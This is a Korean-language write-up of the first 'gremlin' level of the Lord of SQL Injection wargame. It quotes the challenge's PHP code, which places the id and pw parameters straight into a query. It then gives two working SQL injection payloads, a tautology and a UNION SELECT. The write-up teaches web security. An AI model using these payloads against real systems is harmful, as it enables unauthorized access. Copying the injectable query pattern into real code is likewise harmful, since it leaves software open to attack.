Skip to content

Latest commit

 

History

History
111 lines (80 loc) · 4.34 KB

los_no1_gremlin.md

File metadata and controls

111 lines (80 loc) · 4.34 KB

Lord of SQL Injection No.1 - gremlin

문제 출제 의도

기본적인 SQL Injection을 통해 SQL문을 조작할 수 있는지 확인한다.

소스 코드 분석

gremlin 문제의 php 소스 코드는 다음과 같다.

<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

  include "./config.php";
  login_chk();
  dbconnect();
  • config.php 파일을 불러와 적용시킨다. config.php 내부에 login_chk(), dbconnect(), solve() 등 문제 풀이 환경과 관련된 함수가 선언되어 있을 것으로 추정할 수 있다.

  • login_chk() 함수는 로그인 된 상태인지 확인하는 기능을 할 것으로 추정할 수 있다.

  • dbconnect() 함수는 데이터베이스에 연결하는 기능을 할 것으로 추정할 수 있다.

include


  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  • GET방식으로 id와 pw를 받으며, id나 pw에 prob, _, ., () 가 들어 있으면 No Hack ~_~이 뜨고 문제 풀이에 실패한다.

preg_match

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags [, int $offset ]]] )
  • preg_match 함수는 문자열에서 정규표현식 매치를 수행한다.

  • 반환값은 매치된 횟수이며, 0 또는 1 이다. 이는 처음 매치 후 검색을 중지하기 때문이다.

  • 따라서 preg_match('/prob|_|\.|\(\)/i', $_GET[id])$_GET[id]에서 정규표현식 '/prob|_|\.|\(\)/i' 을 매치한다.

  • 즉, if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 이 문장을 통해 $_GET[id]prob, _, ., () 중 하나라도 들어 있으면 No Hack ~_~이 뜨고 문제 풀이에 실패한다.

  • php의 preg_match 함수에 대해 잘 모르겠다면 다음 링크를 참고하자.

정규 표현식 (Regular Expression)


$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) solve("gremlin");
  • 받은 id와 pw가 직접 쿼리에 들어간다. 이것으로 SQL Injection 공격이 가능하다는 것을 알 수 있다.

  • 문제 풀이가 성공하는 조건은 '데이터베이스에서 받은 id에 "0"을 제외한 어떤 문자열이든 들어있음'이다.


Solution

  1. WHERE 조건절 무력화

    GET 방식으로 정보를 전송하기 위해 다음과 같이 URL의 맨 끝에 쿼리 스트링을 붙인다.

    http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=' or 1=1 -- -
    
    select id from prob_gremlin where id='' or 1=1 -- -' and pw=''

    이는 WHERE 조건절을 항상 참으로 만들어 prob_gremlin 테이블의 모든 행의 id 열을 불러오도록 하므로 문제가 풀린다.

  2. UNION 구문 이용

    http://los.eagle-jump.org/gremlin_bbc5af7bed14aa50b84986f2de742f31.php?id=' union select 'a'-- -
    
    select id from prob_gremlin where id='' union select 'a'-- -' and pw=''

    이는 결국 $result['id']에 'a'가 들어가도록 하므로 문제가 풀린다.